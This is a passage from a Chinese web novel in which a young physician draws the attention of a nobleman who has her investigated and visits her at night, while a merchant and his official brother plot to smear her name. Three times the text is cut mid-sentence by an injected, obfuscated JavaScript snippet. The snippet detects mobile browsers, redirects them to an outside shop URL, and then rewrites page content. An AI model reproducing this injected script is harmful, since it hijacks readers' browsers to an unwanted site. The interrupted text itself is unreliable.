这院子在沈府东侧,清静雅致。三间正房,两间厢房,院子里种着几竿翠竹,一座小小的假山,山下凿了方浅池,养着几尾锦鲤。 他推门进屋,在临窗的榻上坐下。丫鬟早已备好了茶,是今春的龙井,汤色清碧,香气氤氲。 他却没有喝,只望着窗外那几竿翠竹出神。 在菰城这月余,确实如外祖母所说,有些“乐不思蜀”了。与表兄弟们或骑马射箭,或泛舟湖上,或访寺问道,日子过得逍遥。可心里总像缺了一块,空落落的。 直到那日在纯阳宫,看见那个雨过天青色的身影。 那个叫许娇杏的小娘子。 他想起元宵夜她揪着他衣领的莽撞,想起医药会上她沉静应对的从容,想起纯阳宫石径上她评说梅树时的通透。 截然不同的模样,却奇妙地融合在一个人身上。 更让他在意的是她那双眼。清亮,干净,像是山涧里洗过的石子,不染尘埃。看人时坦坦荡荡,没有寻常女子见到贵介公子时的羞怯或谄媚,也没有因他刻薄言语而生的怨怼。 她只是看着他,就像看着一棵树,一块石头。 这种被全然平等看待的感觉,对他而言,很新鲜。 裴宴端起茶盏,啜了一口。茶已微凉,涩味重了些。 他放下茶盏,扬声唤道:“长风。” 房门无声推开,一个二十来岁的青年走了进来。穿着深青色劲装,腰束皮带,脚下薄底快靴,面容普通,眼神却锐利如鹰。 这是他的贴身常随,也是心腹。 “郎主。”长风躬身。 裴宴沉吟片刻,方缓缓道:“去打听一个人。” “请郎主吩咐。” “张记生药铺的许小娘子,许娇杏。”裴宴顿了顿,“从小到大,都要打听清楚。身世,来历,在菰城这几个月做了什么,见过什么人,越细越好。” 长风眼中闪过一丝诧异,却不敢露出分毫,只垂首应道:“是。” “去吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222049|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴宴摆摆手,“小心些,莫要惊动旁人。” 长风躬身退下,房门轻轻合上。 屋内又恢复寂静。裴宴重新端起茶盏,看着杯中沉浮的茶叶,眼神深晦难明。 他也不知自己为何要查她。或许是因为好奇,好奇这样一个女子,是如何长成这般模样。或许是因为……那一丝说不清道不明的牵念。 他想起离京前,姐姐裴贵妃召他入宫说的那番话。 “宴儿,你年岁也不小了。京中适龄的贵女不少,父亲的意思,是想在沈家表姊妹中为你择一良配。沈家是外祖家,知根知底,如今,沈家表妹昭宁和婉宁已定了人家,其余几个适龄的有大舅舅家的惠宁和三舅舅家福宁。我寻思着二舅舅家的淑宁倒是个好孩子,淑宁那孩子我见过,性情温婉,身子虽弱些,好生调理便是。你此次去菰城,不妨多留意。” 他当时只是沉默。 沈淑宁……确实是标准的世家贵女。温柔,娴静,知书达理,与他门当户对。若娶了她,于家族,于前程,都是最好的选择。 可不知为何,他眼前浮现的,却是另一张脸。 清亮如星的眼,唇角天然噙着的三分笑意,还有那身雨过天青色的素罗衣裙。 裴宴闭了闭眼,将杂念压下。 他是裴家嫡子,肩上担着家族的期望。婚姻大事,从来不由己。那些不该有的心思,还是早些断了的好。 沈淑宁回到沁芳斋时,神色有些恹恹的。 丫鬟芙蕖扶她在临窗的榻上坐下,又端来温着的药。黑褐色的药汁盛在白瓷碗里,热气袅袅,散发出浓郁的苦香。 “娘子趁热喝了吧。”芙蕖轻声道,“许娘子嘱咐过,这药要按时服用才有效。” 沈淑宁接过药碗,蹙着眉,一小口一小口地喝。药很苦,苦得舌根发麻。可她还是乖乖喝完了——这药是许娇娇开的,她信她。 喝完药,丹桂递上蜜饯。沈淑宁拈了一颗含在嘴里,甜味渐渐压过了苦。 “表哥明日就走……”她望着窗外,喃喃道。 芙蕖与丹桂对视一眼,都没接话。 她们是沈淑宁的贴身丫鬟,从小服侍她长大,自然知道娘子的心事。裴家表公子人才出众,家世显赫,与娘子又是表兄妹,在她们看来,确是良配。 可婚姻大事,终究要父母之命、媒妁之言。二夫人管家严厉,最重规矩,若知道娘子私下思慕表公子,怕是要动怒的。 “娘子,”芙蕖斟酌着开口,“表公子回京是正事。如今朝中事务繁忙,裴大人催他回去也是常理。娘子若想见表公子,等日后……” “日后?”沈淑宁苦笑,“他这一走,不知何时再来。便是来了,也不过是客,住上月余便走。”她顿了顿,声音更低,“况且,他的婚事……怕是由不得他。” 这话说得露骨了。芙蕖心头一跳,忙道:“娘子慎言。” 沈淑宁自知失言,不再多说,只望着窗外那丛开得正盛的蔷薇出神。 她想起那年冬日,裴宴来菰城小住。那日下了雪,园子里白茫茫一片。她与几个堂姊妹在暖阁里做针线,裴宴与兄长们在亭子里煮酒赏雪。隔着窗子,她看见他披着玄色大氅,立在亭边看雪,侧脸在雪光里如玉石雕成。 就那么一眼,心里便存下了。 后来在祖母那儿请安时遇见,他礼貌周全,却总是隔着距离。她鼓足勇气与他说几句话,他也只是客气应答,从不多言。 她知道,在他眼里,她大概就是个体弱多病、寡言少语的表妹,与府里其他姊妹并无不同。 “娘子,”丹桂小声劝道,“您如今身子刚好些,莫要思虑过重。许娘子说了,思虑伤脾,于调养不利。” 沈淑宁回过神,轻轻点头:“我知道。” 她伸手抚了抚胸口。许娇娇开的药确实有效,这些日子以来,胸闷气短的症状轻了许多,夜里也能安睡了。只是这心里的郁结,却不是药石能医的。 却说许娇娇,她如今的生活简单而规律。每日清晨起床,与静尘、静心一同收拾屋子、做早饭。饭后去张记铺子,或帮着抓药制药,或在廖大夫、万大夫忙不过来时接诊些简单的病症。傍晚回家,三人一起做饭、吃饭,饭后她研读医书,静尘做针线,静心收拾家务。 平静,充实。 这日她从铺子回来时,天色还早。夕阳将柳枝巷染成一片暖金色,家家户户的烟囱里冒着炊烟,空气里飘着饭菜的香气。 隔壁刘寡妇正在院门口择菜,见她回来,笑着招呼:“许娘子回来了?今日铺子里忙么?” “还好。”许娇娇停下脚步,“刘大娘这是准备做晚饭?” “可不是。”刘寡妇将一把青菜放进篮子里,“我家那小子今日在学堂得了夫子夸奖,我买了两条鱼,给他补补。” 许娇娇笑道:“小虎子聪明,将来定有出息。” 又说了几句闲话,她才回自家院子。 39. 第39章 夜探 静心正在厨房里忙活,见她回来,探出头笑道:“娇杏,今日我买了只鸡,炖了汤。你这些日子辛苦,该补补。” “又破费。”许娇娇摇头,眼里却带着笑,“咱们的日子才刚好些,要省着些花。” “知道知道。”静心吐吐舌头,“这不是看你最近气色不好嘛。” 许娇娇摸摸自己的脸。气色不好么?她倒没觉得。只是这些日子夜里总睡不踏实,常做些乱七八糟的梦,醒来却什么都记不得。 也许真是累了。 她放下药箱,去井边打水洗脸。清凉的井水扑在脸上,精神为之一振。 晚饭时,三人围坐在堂屋的小桌边。一盆鸡汤,一碟清炒菜心,一碟酱瓜,还有白米饭。简单,却温馨。 静尘给许娇娇盛了碗汤:“娇杏,你尝尝,静心炖了一下午呢。” 许娇娇接过,汤色清亮,香气扑鼻。她吹了吹,小心地喝了一口。鲜,醇,带着鸡肉特有的甘甜。 “好喝。”她真心赞道。 静心得意地笑了:“那是,我放了枸杞、红枣,还有你前日带回来的黄芪。最是补气。” 许娇娇心中温暖。这两个师姐,虽不是亲姊妹,却比亲姊妹还亲。她们把所有的关心都给了她,让她在这陌生的菰城,有了家的感觉。 “对了,”静尘忽然道,“今日铺子里来了个奇怪的客人。” “怎么奇怪?” “是个三十来岁的汉子,说是给家中老母亲抓药。铺子里的小二哥按方子抓的,他却问东问西,问这药材是哪来的,炮制了多久,还问铺子里是不是有位许娘子。”静尘蹙着眉,“我问他是谁,他只说是听人说起许娘子医术好,想请去诊病。可我看他那样子,不像正经请大夫的。” 许娇娇心头一跳:“后来呢?” “后来廖大夫回来了,那汉子便不再多问,付了钱就走了。”静尘看着她,眼中带着担忧,“娇杏,我总觉得……那人不对劲。” 许娇娇沉默片刻,轻声道:“师姐别担心。咱们小心些便是。” 话虽如此,她心里却蒙上了一层阴影。 自打那日出诊葫芦巷,她便觉得有人暗中盯着自己。起初以为是错觉,可这些日子,总有些莫名其妙的人来铺子打听她。问的也不像寻常病家,倒像是……探子。 是水仙姑?还是王大官人? 她放下碗筷,忽然没了胃口。 “娇杏?”静心担心地看着她。 “我没事。”许娇娇挤出笑,“只是有些累了。你们慢慢吃,我回屋歇歇。” 她起身回了自己房间,关上门,在床沿坐下。 窗外天色已暗,最后一抹余晖消失在天际。屋里没有点灯,一片昏暗。 许娇娇抱紧双膝,将脸埋在臂弯里。 她不怕辛苦,不怕清贫,只怕这种被人暗中窥视的感觉。像是一张无形的网,正在慢慢收紧,而她甚至不知道撒网的人是谁。 不行。 她抬起头,眼中闪过坚定的光。 不能这样坐以待毙。她要更快地成长,更快地积累力量。只有自己足够强大,才能保护想保护的人,才能对抗那些藏在暗处的敌人。 她起身点亮油灯,从床底拖出一个小木箱。打开,里头是她这些日子攒下的银钱、仁心堂的契书、沈夫人给的银簪,还有李真人的医书和她的半块玉佩。她将这些东西一样样拿出来,又一样样放回去。 最后,她拿起那半块羊脂玉佩。温润的玉质在灯下泛着柔和的光,上头雕着的缠枝莲纹已经有些模糊了。 这是这一世的爹娘留给她的唯一念想。 许娇娇握紧玉佩,贴在胸口。 清风楼的雅间里,烛火通明。 沈谦沈大郎君做东,邀了沈家几个与裴宴年纪相仿的堂兄弟,为他饯行。席间觥筹交错,劝酒声、说笑声不绝于耳。几个菰城有名的弹唱名伶坐在屏风旁,纤指拨弦,檀口轻启,唱的是时兴的南曲,吴侬软语,缠绵悱恻。 “宴哥儿,这杯你得喝!”一个堂兄举着酒杯,脸已喝得通红,“明日一别,又不知何时能聚。咱们这些兄弟里,就数你最出息,将来封侯拜相,可别忘了咱们!” 裴宴端起酒杯,微微一笑:“兄长言重了。”仰头饮尽。 酒是上好的绍兴黄,入口绵软,后劲却足。一杯接一杯,饶是他酒量不错,此刻也有些微醺。烛光在眼前晃动,弦歌声在耳边萦绕,一切都变得朦胧而不真切。 他望着杯中琥珀色的酒液,思绪飘向远方。 “宴弟?”沈谦见他走神,笑着拍拍他的肩,“可是醉了?” 裴宴回过神,摇头:“还好。” “那就再喝一杯!”另一人又斟满他的酒杯。 这顿饯行宴吃到夜半方散。 裴宴回到沈府客院时,已是子时过半。夜风一吹,酒意更上头,太阳穴突突地跳。他推开房门,屋里黑漆漆的,只有窗外透进来的些许月光。 他没有点灯,径直走到临窗的榻边坐下。 夜很静。远处偶尔传来几声犬吠,更显得这寂静无边无际。 白日里那些喧嚣、那些应酬、那些不得不维持的客套笑容,此刻都褪去了。只剩下这深沉的夜,和心里那股说不清道不明的空落。 他忽然觉得这一切都很没意思。 在京中,他是裴家嫡子,要谨言慎行,要光耀门楣。在菰城,他是沈家外孙,要孝敬长辈,要友爱兄弟。永远戴着面具,永远说着得体的话,做着得体的事。 只有那几次偶遇,那个叫许娇杏的小娘子,看他的眼神里没有其他东西。 她看他,就像看一个普通人。 裴宴抬手揉了揉眉心,酒意混着烦躁,在胸腔里翻涌。他起身,在屋里踱了几步,忽然站定。 长风在外间听见动静,推门进来:“郎君?” 裴宴没应声,径直往外走。 “郎君?”长风急忙跟上,压低声音,“这么晚了,您要去哪儿?” 裴宴还是不答,脚步却不停。长风不敢再多问,只能紧紧跟着。走到院门口时,另一个随从明月也赶了过来,两人交换了个眼色,都从对方眼中看到了疑惑和担忧。 三人一路走到马棚。夜已深,马夫早去歇了,只留一盏气死风灯挂在柱上,昏黄的光晕照着几匹正在打盹的马。 裴宴走到自己的坐骑前——那是一匹通体乌黑的骏马,只在额心有一撮白毛,名唤“踏雪”。他伸手摸了摸马颈,踏雪打了个响鼻,亲昵地蹭了蹭他的手。 “郎君,”长风终于忍不住开口,“这个时候……已经宵禁了。” 裴宴这才回头看了他一眼。月光下,少年的脸一半明一半暗,眼神却亮得惊人:“我知道。” “那您……” “开门。”裴宴简短地道,已经解开了缰绳。 长风与明月对视一眼,都知道劝不住了。这位小爷性子看着沉稳,实则执拗得很,一旦决定了什么事,九头牛都拉不回来。况且,以裴家的权势,就算真犯了宵禁,菰城的巡夜兵丁也不敢拿他怎样。 两人只得打开马棚的门。裴宴翻身上马,动作干净利落,丝毫看不出醉意。 “郎君,去哪儿?”长风也上了马,追上来问。 裴宴沉默了片刻,才吐出三个字:“柳枝巷。” 长风心头一震。柳枝巷……那不是许娘子住的地方么?郎君深夜去那里做什么? 但他不敢问,只能与明月一左一右护着,三人三骑,悄无声息地出了沈府后门,没入浓浓的夜色中。 柳枝巷。 许娇娇就着一盏油灯,正在写今日的医案。 白日里看了十七八个病人,有风寒咳嗽的,有脾胃不和的,还有一个孩童出疹子。她将每个病人的症状、脉象、用药都仔细记下,又在旁边批注自己的思考和疑惑。 这是前世爷爷教她的法子:“好记性不如烂笔头。诊过的每一个病人,都要记下来,时时翻看,方能温故知新。” 她写得很慢,一笔一划,工工整整。油灯的光晕将她低头的身影投在墙上,随着烛火微微晃动。 屋里很静。隔壁传来静尘和静心均匀的呼吸声——她们早已睡下了。旺财趴在她脚边,也睡得正香,偶尔发出几声轻微的呜咽,像是在做梦。 写完最后一个字,许娇娇放下笔,长长地舒了口气。她起身伸了个懒腰,骨头发出轻微的咯吱声。 窗外,月光正好。 今夜是五月十六,月儿圆得像个银盘,清辉洒满人间。许娇娇走到窗前,本想关窗,却被这月色吸引住了。 她推开窗,夜风立刻涌了进来,带着初夏特有的微凉和草木清香。月光如水,静静地流淌在院子里,将青石板地照得一片银白。墙角那丛月季开了几朵,在月光下变成朦胧的浅粉色,像是笼着一层轻纱。 许娇娇趴在窗台上,仰头望着天上的月亮。 来菰城这些时日。从最初的惶恐不安,到如今的渐渐安定,这条路走得不易。但至少,她们有了栖身之所,她有了学医的机会,生活正在慢慢变好。 只是心里总有一根弦绷着。水仙姑,王大官人,那些暗中窥视的目光……像影子一样,始终跟着她。 她轻轻叹了口气。 就在这时,眼角余光忽然瞥见墙头有什么东西动了一下。 许娇娇心头一紧,猛地转头看去。 月光下,墙头上赫然坐着一个人! 那人一身深色衣衫,几乎融进夜色里,只有脸被月光照亮——剑眉星目,鼻梁挺直,唇角紧抿,正是裴宴! 许娇娇吓得魂飞魄散,下意识地就要关窗。 “别怕。”墙头上的人忽然开口,声音低沉,在寂静的夜里格外清晰,“是我。” 话音未落,他已翻身跃下墙头,动作轻捷如燕,落地无声。 许娇娇的手停在窗棂上,惊疑不定地看着他。月光照在他脸上,确实是裴宴没错。可……他怎么会在这里?还是深更半夜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222050|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻墙而入? “裴、裴公子?”她终于找回自己的声音,却因惊吓而微微发颤,“您……您怎么会……” 裴宴站在院子里,离她不过三丈远。月光将他整个人笼在一层银辉里,石青色的衣袍在夜风中轻拂。他看着她,眼神复杂,还有一丝……她看不懂的东西。 “路过。”他简短地道,顿了顿,又补充,“顺便来看看。” 路过?许娇娇简直不敢相信自己的耳朵。柳枝巷在城东,沈府在城西,这路未免顺得太离谱了。更何况,哪有人深更半夜翻墙“路过”别人家的? 但她不敢质问,只谨慎地道:“公子深夜到访,不知有何要事?我的师姐们已经歇下了,不便招待……” “不必。”裴宴打断她,往前走了一步,“我只是……想问你几句话。” 许娇娇下意识地后退,手紧紧抓着窗棂:“公子请问。” 裴宴看着她戒备的模样,忽然觉得有些可笑。他也不知道自己为什么会来这里,为什么会翻墙进来,为什么会想见她。一切都像是被酒意和冲动驱使着,做了这荒唐的事。 可既然来了,总要问个明白。 “你……”他开口,却发现不知从何问起。问她身世?问她为何学医?问她如何看待自己? 最后,他问了一个最直接的问题:“你怕我?” 许娇娇一愣,没想到他会问这个。她迟疑片刻,诚实答道:“方才突然看见墙头有人,自然是怕的。但现在知道是公子,便不怕了。” “为何?”裴宴追问,“你不觉得我深夜翻墙,行为不妥么?” “确实不妥。”许娇娇直视他,“但公子既然来了,必有自己的缘由。我相信公子不是那等轻浮孟浪之人。” 这话说得坦荡,也说得巧妙。既点出了他的行为失当,又给了他台阶下。 裴宴沉默地看着她。月光下,她的脸莹白如玉,双眸清亮如星,没有半分矫饰。她不怕他,不是因为他裴家公子的身份,而是因为她相信自己的判断。 这种被纯粹地当作一个人来对待的感觉,让他心头那点烦躁奇异地平复下来。 “你总是这样么?”他忽然问。 “怎样?” “对谁都这般……坦然。”裴宴斟酌着用词,“不卑不亢,不谄不媚。” 许娇娇想了想,轻声道:“我只是觉得,人与人相处,贵在真诚。公子身份尊贵,我不敢高攀,但也不必自轻自贱。医者眼中,只有病人,没有贵贱。” 这话若是别人说,难免有故作清高之嫌。可从她口中说出来,却自然得很,仿佛天经地义。 裴宴久久不语。 夜风拂过,带来远处隐约的打更声——三更天了。 他该走了。 “今日唐突了。”裴宴终于开口,声音比来时温和了些,“明日我便回京,此去……不知何时再来菰城。” 许娇娇不知他为何要与自己说这些,只礼貌地道:“公子一路顺风。” 裴宴点点头,转身欲走,却又停住。他从怀中取出一个小小的锦囊,放在窗台上:“这个……算是赔礼。深夜惊扰,实在不该。” 说罢,不等许娇娇反应,他已纵身跃上墙头,几个起落便消失在夜色中。 许娇娇愣愣地看着空荡荡的墙头,又看看窗台上那个深蓝色的锦囊,半晌没回过神来。 今晚的一切,都像一场梦。 她伸手拿起锦囊。布料是上好的杭绸,绣着暗纹,入手沉甸甸的。她打开一看,里面是一块羊脂白玉佩,雕成如意云纹,玉质温润,在月光下泛着柔和的光。 这玉佩……太贵重了。 许娇娇蹙起眉。无功不受禄,更何况是这般贵重的东西。她与裴宴不过几面之缘,他为何要送她这个? 正思忖间,隔壁传来静尘的声音:“娇杏?你怎么还没睡?在和谁说话?” 许娇娇忙将锦囊收起,关上窗:“没事师姐,我刚在背医书,吵到你了?” “没有。”静尘的声音带着睡意,“你也早点歇着,明日还要去铺子呢。” “好。” 屋里重新安静下来。许娇娇吹熄了油灯,躺到床上,手里却还攥着那个锦囊。 月光从窗纸透进来,在地上投下模糊的光影。 她闭上眼,脑海里却浮现出裴宴翻下墙头的那一幕。月光下的少年,眼神复杂难明,像是藏着许多心事。 他究竟为何而来? 这个问题,恐怕只有他自己知道了。 而此刻,裴宴已回到沈府。长风与明月跟在身后,都不敢说话。 三人将马牵回马棚,默默走回客院。到了门口,裴宴忽然停下脚步,回头看向柳枝巷的方向。 夜色深沉,万籁俱寂。 “长风。”他低声唤道。 “郎君。” “那件事,继续查。”裴宴的声音很轻,却带着不容置疑的坚定,“我要知道她所有的事。” “是。” 40. 第40章 密谋 六月的江南,入了梅雨季,雨便没完没了。 归平县王宅的书房里,窗外的雨声淅淅沥沥,打在芭蕉叶上,噼啪作响。天色阴沉得如同傍晚,其实才过午时。书房里早早点了灯,黄花梨木书案上的烛台燃着两支蜡烛,火苗在穿堂风里微微晃动,将墙上的人影拉得扭曲变形。 王兆贵坐在太师椅上,手里捏着一封刚送到的密信,脸色比窗外的天色还阴沉。 信是菰城庆和堂的钱掌柜写来的,字迹潦草,显是匆忙间写就。信中说,张记生药铺那个叫许娇杏的小娘子,如今竟搭上了沈尚书第门路——沈家那位体弱多病的小娘子,服了她开的方子,身子竟见好了。如今每隔三五日,沈府便会派车接她去复诊,俨然已成了沈府的座上宾。 “砰”的一声,王兆贵将信拍在书案上,震得砚台里的墨汁都溅了出来。 “好个不知天高地厚的贱婢!”他咬着牙,从牙缝里挤出这句话。 站在下首的,是庆和堂在归平县分号的掌柜,姓孙,是个五十来岁的干瘦老头。见王兆贵动怒,他忙躬身道:“大官人息怒。那丫头不过是侥幸……” “侥幸?”王兆贵冷笑,“一次是侥幸,两次三次呢?如今连沈府都请她去诊病,这是什么?这是她在这菰城立住脚了!” 他越想越气。自打水月庵那事出了纰漏,他就没顺心过。水仙姑那蠢货被人拿住把柄,险些连累他。好不容易将人捞出来,想收拾那丫头,却又让她跑了。原以为她一个孤女,在菰城无依无靠,早晚能捏死,谁想她竟有这等本事,不但进了张记生药铺,还在医药鉴别会上出了风头,如今更是攀上了沈府的高枝! 沈府是什么人家?那是致仕的老侯爷坐镇,大郎君在京中任户部侍郎,真正的钟鸣鼎食之家。莫说在菰城,就是在整个江南道,也是跺跺脚地面都要震三震的存在。 那丫头若真得了沈府庇护,再想动她,可就难了。 “赵掌柜他们怎么说?”王兆贵压着火气问。 孙掌柜擦了擦额角的汗:“赵掌柜的意思,如今沈府正看重那丫头,若此时动手,恐怕会惹麻烦。不如……再等等。” “等等?等到什么时候?”王兆贵眯起眼,“等到她在菰城扎根,等到她羽翼丰满,等到她反过来咬我们一口?” 孙掌柜不敢接话,只垂着头。 书房里一时寂静,只有窗外的雨声,绵绵不绝。 正这时,外头传来脚步声。管家在门外禀报:“大官人,二老爷从菰城回来了,已到前厅。” 王兆贵眉头一挑:“二弟?快请进来。” 片刻,门帘掀起,一个四十来岁的中年男子走了进来。他穿着靛青色的官服,虽只是八品文官的样式,料子却极好,裁剪也得体。面容与王兆贵有五六分相似,只是更清瘦些,眼神也更精明,透着一股子官场上历练出来的圆滑。 这便是王兆贵的胞弟,王兆仁。如今在菰城府衙任司户参军,掌管一府户籍、田宅、道路等事,虽只是个八品小官,却是个实权在握的肥缺。 “大哥。”王兆仁拱手,又看向孙掌柜,“孙掌柜也在。” 孙掌柜忙行礼:“二老爷安好。” 王兆贵摆摆手,孙掌柜识趣地退了出去,带上房门。 “坐。”王兆贵指了指对面的椅子,“这次回来,能住几日?” “三四日吧。”王兆仁坐下,接过丫鬟奉上的茶,“衙门里事多,不好久离。”他喝了口茶,看向兄长,“方才进来时,见大哥面色不豫,可是有什么烦心事?” 王兆贵将桌上那封信推过去:“你看看。” 王兆仁拿起信,快速扫了一遍,眉头微皱:“许娇杏……这名字有些耳熟。” “就是水月庵那事里,坏了我们好事的那个丫头。” 王兆仁恍然:“是她。”他放下信,沉吟道,“这倒棘手了。沈府……可不是寻常人家。” “正是如此。”王兆贵咬牙,“本想设个局,让她身败名裂,可如今她有了沈府这层关系,再动手,怕是要惹麻烦。” 王兆仁捻着胡须,半晌不语。烛火在他脸上跳跃,映得他眼神明暗不定。 “大哥想如何处置?”他问。 “自然是不能留。”王兆贵眼中闪过狠厉,“这丫头知道太多,又与我们结了仇,留着她,终是祸患。只是……如今动不得。” 王兆仁点点头,忽然道:“大哥可知,沈府为何会请她诊病?” “说是沈家那位小姐体弱,服了她的方子见好。” “这便是了。”王兆仁笑了笑,“沈淑宁那丫头我见过,确实是个药罐子。沈府这些年不知请了多少名医,都未见大效。如今这许娇杏能让她好转,想来医术确有独到之处。”他顿了顿,看向兄长,“大哥想要对付她,无非是让她行医出错,或是让她开错药吃出人命。可若她的医术当真高明,这法子便难了。” 王兆贵脸色更难看了:“难道就这么算了?” “自然不能。”王兆仁慢条斯理地喝了口茶,“只是需从长计议。沈府这层关系,确实是个麻烦,但也不是无解。” “你有法子?” 王兆仁没有直接回答,而是问:“大哥可知,沈府如今在菰城,最在意的是什么?” 王兆贵想了想:“沈老侯爷致仕荣归,最在意的该是家族清誉。沈翊在京中为官,也需要个好名声。” “正是。”王兆仁放下茶盏,“沈家这样的门第,最重名声。若那许娇杏牵扯进什么不干净的事,或是她的名声坏了,沈府为了自家清誉,必定会与她划清界限。到那时,再动手,便容易多了。” 王兆贵眼睛一亮:“你是说……” “寻个由头,给她泼些脏水。”王兆仁淡淡道,“比如说她行医不端,或是与什么不三不四的人有染。这种事,不需真凭实据,只要风声传出去,沈府为了避嫌,便不会再与她来往。” 王兆贵抚掌:“妙!只是……这脏水要如何泼?” “这便需仔细谋划了。”王兆仁沉吟,“最好是能寻个与医药行当有关的由头。比如……她开的药吃坏了人,或是她炮制的药材有问题。医药行当最重信誉,一旦出事,便再无翻身之日。” 兄弟二人又商议了一阵,王兆贵心头那口恶气总算顺了些。 正事说完,王兆贵才想起问:“你这次回来,能住三四日,可是衙门里有什么事?” 王兆仁笑道:“确有一桩事。”他压低了声音,“我干爹那边,有一批货要走,需从归平县码头过。” 王兆贵心头一动:“崔公公的货?” “正是。” 提到“崔公公”三个字,书房里的气氛陡然变了。 王兆贵坐直了身子,神色恭敬了许多:“崔公公要运什么货?需我们做什么?” 王兆仁的干爹崔琰,乃是江南路发运使,正儿八经的四品大员。发运使掌管一路漕运、茶盐等事务,权柄极大。更关键的是,崔琰是个太监。 太监在宫中伺候贵人,外放为官的本就不多,能做到发运使这般实权位置的,更是凤毛麟角。崔琰此人,手段了得,在江南经营多年,门生故旧遍布,便是江南路的安抚使、转运使,也要给他几分面子。 王兆仁能拜在崔琰门下,说来也是机缘。 五年前,崔琰巡视漕运至菰城,在码头上遇刺。当时王兆仁只是个小小的书吏,恰好在场,危急关头替崔琰挡了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222051|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一剑。那一剑刺在肩上,伤得不轻,却让崔琰记住了这个“忠心护主”的小吏。伤愈后,王兆仁便认了崔琰做干爹,自此平步青云,短短五年,从个不入流的小吏做到了八品司户参军。 “不是什么要紧的东西。”王兆仁说得轻描淡写,“只是一批江南的特产,要运往京中。干爹在宫里有些关系,需要打点。” 话说得含糊,王兆贵却听懂了。所谓“江南特产”,恐怕不是什么茶叶丝绸,而是更值钱的玩意儿。崔琰在江南多年,搜刮的珍宝无数,需定期运往京中,打点宫中的贵人。这种事,自然要走稳妥的路线。 归平县码头虽不算大,却是个要紧的转运节点。从此处入太湖,经运河北上,可直达京畿。且归平县是王家的地盘,在此处转运,最是安全。 “这事好办。”王兆贵当即道,“码头上都是咱们的人,保管稳妥。何时运?需多少船?我这就去安排。” “不急。”王兆仁摆摆手,“货还在路上,约莫七八日后到。到时我会派人来知会。”他顿了顿,看向兄长,“大哥在归平县,是横着走的人物,这事交给你,我最放心。” 王兆贵脸上露出得意之色。他虽只是个捐来的承议郎,并无实权,可在归平县这一亩三分地,确实说得上话。县衙里的官吏,码头的帮派,都要给他面子。 “你放心,保管办得妥妥当当。”他拍着胸脯保证。 正事说完,兄弟二人又说起闲话。王兆仁问起家中近况,王兆贵一一说了,说到水仙姑时,只含糊道:“那女人不省心,前阵子惹了些麻烦,我已让她安分些。” 王兆仁何等精明,一听便知有事。他盯着兄长:“大哥,你我兄弟,有什么话不能直说?那水仙姑……可是又惹了什么祸?” 王兆贵犹豫片刻,终究还是将水月庵的事简略说了。当然,隐去了许多细节,只说水仙姑行事不密,被人拿住把柄,险些牵连到他。 王兆仁听完,眉头紧锁:“大哥,不是我说你。那水仙姑虽有些姿色,可终究是个不安分的。你与她往来,本就犯险,如今还让她掺和进那些事里……”他摇摇头,“要我说,早些断了为好。” “我何尝不知。”王兆贵叹气,“只是如今断不了。她知道太多,若逼急了,反咬一口,大家都不好看。” 王兆仁端起茶盏吃了一口茶,道:“大哥糊涂,一个女人,怎能让她左右,找个合适的时候,王兆仁做了个闭口的动作,王兆贵点头,“放心吧!我会在适当的时候让她闭嘴的。” “行事当心些,别让人抓到把柄。”王兆仁顿了顿,又道,“至于那个许娇杏……大哥不必太过忧心。一个女子,再有本事,能翻起什么浪?如今她虽攀上了沈府,可沈府那样的门第,最是看重名声。只要让她沾上些不干净的事,沈府自会与她撇清关系。到那时,要收拾她,易如反掌。” 这话说得笃定,王兆贵心里踏实了许多。 兄弟二人又说了会儿话,王兆仁便起身告辞,说要回房歇息。他这次回来,只带了一个贴身小厮,轻车简从,显是不想引人注目。 送走弟弟,王兆贵独自坐在书房里,看着窗外的雨,眼神阴鸷。 许娇杏…… 他念着这个名字,像是要将它嚼碎了吞下去。 攀上了沈府又如何?他王兆贵在归平县经营多年,岂会怕一个黄毛丫头?待崔公公的货顺利运走,他得了干爹的赏识,便是沈府,也要给他几分薄面。 到那时,再收拾那贱婢,看谁还能护着她! 雨下得更大了。屋檐下的水帘连成一片,哗哗作响,将书房里最后一点天光也吞没了。 烛火跳动,将王兆贵脸上的阴影拉得忽长忽短,如同鬼魅。 41. 第41章 回京 通往京城的官道,路两边绿树成荫的景象逐渐淡去,变成了一望无际的原野,当远处低矮的人家冒着炊烟时,裴宴一行轻车简从,不过七八日便到了京畿。车马从南薰门入城时,正是午后,日头白晃晃地悬在天顶,将青石板路晒得发烫。街上行人不多,偶有挑担的小贩躲在檐下阴凉处歇脚,狗儿趴在巷口吐着舌头。 